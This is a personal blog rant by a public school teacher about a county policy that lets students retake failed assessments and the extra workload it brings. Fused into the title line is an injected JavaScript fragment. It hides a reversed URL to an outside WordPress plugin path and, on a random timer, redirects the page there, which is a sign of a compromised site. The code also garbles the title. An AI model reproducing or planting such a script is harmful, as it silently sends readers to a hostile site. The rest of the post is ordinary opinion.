Friday Melttoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}down

It’s not an official meltdown, but – I’m going to rant anyway. ::le sigh::

It’s about work. I work for a Public School system. For the most part, it’s fine. But – there are certain things, directives as it were, that come from the county board which really make me unhappy.

Last year, the county mandated that reassessments be available for students who received a ‘D’ or an ‘E’ on an assessment. It was very vague and we had to try and figure it out on our own. To be honest, the teachers hated it. To tell us we had to allow our students a chance to reassess ANYTHING they failed was – well – it was hard to accept due to the fact that it was going to be an enormous amount of extra work. Because not only did we have to allow them a reassessment, we had to re-teach them the material beforehand. More work. Great.

Don’t get me wrong. The policy is not a bad policy – on paper. The idea was to help out students who failed just one test out of a quarter due to a bad day, illness, just not grasping that one concept right away. It was for trying to balance out the grades for students who had strange outliers – and to help those who were not doing well at all, giving them a chance to do better, and perhaps pass. And it was pretty much something the majority of teachers were doing. A professional judgement could be used to allow a student a chance to rectify something that was out of the ordinary for him/her.

However. The students soon learned how to ‘work the policy.’ They started failing things on purpose so they could be ‘re-taught’ and then re-take the assessment and get an ‘A’, rather than the ‘B’ (or ‘C’) they would have gotten before. Now, teachers were getting students fighting to have MORE points taken off their assessments so they might reassess them. Great. Wonderful. Because, in the fall of last year, anyone who took a reassessment could receive full credit on something they utterly failed the first time. Which, to me, seems unfair. If you receive a 58% on something, why should you be able to have the 95% you later? It seems to me that an accurate depictation of your grade would be to average the two grades. But what do I know, mmm?

The policy was changed somewhat in the spring of last year to try and stem the tide of students reassessing. If the student had not done the homework leading up to the original assessment, then that student was *not* eligible for a reassessment. That did help. Two-fold. Students who didn’t do anything could no longer fail and re-do. And students were now doing the homework, practicing the material more, and therefore doing BETTER on the original assessments. Some, anyway. Also, the highest grade possible for a reassessment was an 80%. This made me feel somewhat better – as far as giving an accurate report of what a student was doing.

The new year, fall 2005, started with the same idea in mind. Homework needed to be done. Students who received below a ‘C’ on an assessment could be re-taught and then reassess. We were once more supposed to allow anyone taking a retake to receive all possible points. An entire quarter has passed with that policy in place. And I’ve felt badly for the students who receive a ‘C’ on the quiz. They do not get a chance to reassess at all. So how fair is it for those students who fail to have a chance to get a 100%?

Well, now the county has decided that *any* one should be able to reassess. If a student receives a ‘B’ – he/she can reassess to get an ‘A’. Does the county *not* know how grade obssessed these children are? Do the people down at the board – the ones who create these policies – not realize how much work they are thrusting upon us? My only thought is – no. They have no idea because they have been out of the classroom for too long. I understand they are trying to make up the huge issue of fairness to all. However. Every single one of my students is obssessed with getting an ‘A’ in every class. If, nay, when, I tell them anyone is allowed to reassess something, I will have students in my classroom, all the time, trying to reassess. I will get nothing done because I will be constantly re-teaching, making up reassessments, giving reassessments, grading reassessments.

There have been solutions suggested. Only allow students to reassess one quiz/test (depending on the policy, which is different for each department) per quarter. While this will make students think more about failing on purpose and choose which quiz to take more carefully, for those students who actually really need to retake nearly every quiz to just barely pass the class, it will make them mroe likely to give up period. If they cannot improve their grade, why should they keep trying? The other suggestion I heard was to make the reassessments have the retakes be unbelievably hard. Again, this would help discourage those who are doing well as it is and are only trying to get that 100%. However, what about the student who received a 53%? Or lower? I’m not against making the reassessment more difficult, but the whole point of it gets lost if the questions are too hard.

So – in the end – the teachers are stuck between a rock and a hard place. We *have* to be in compliance with the policy, or we will get reamed for it. Yet, placing ourselves into compliance gives us so much more work, I want to cry thinking about it.

Dear goddess, help us all. I’m hoping someone does not die before the semester is out.

(Let’s seriously hope it’s not me.)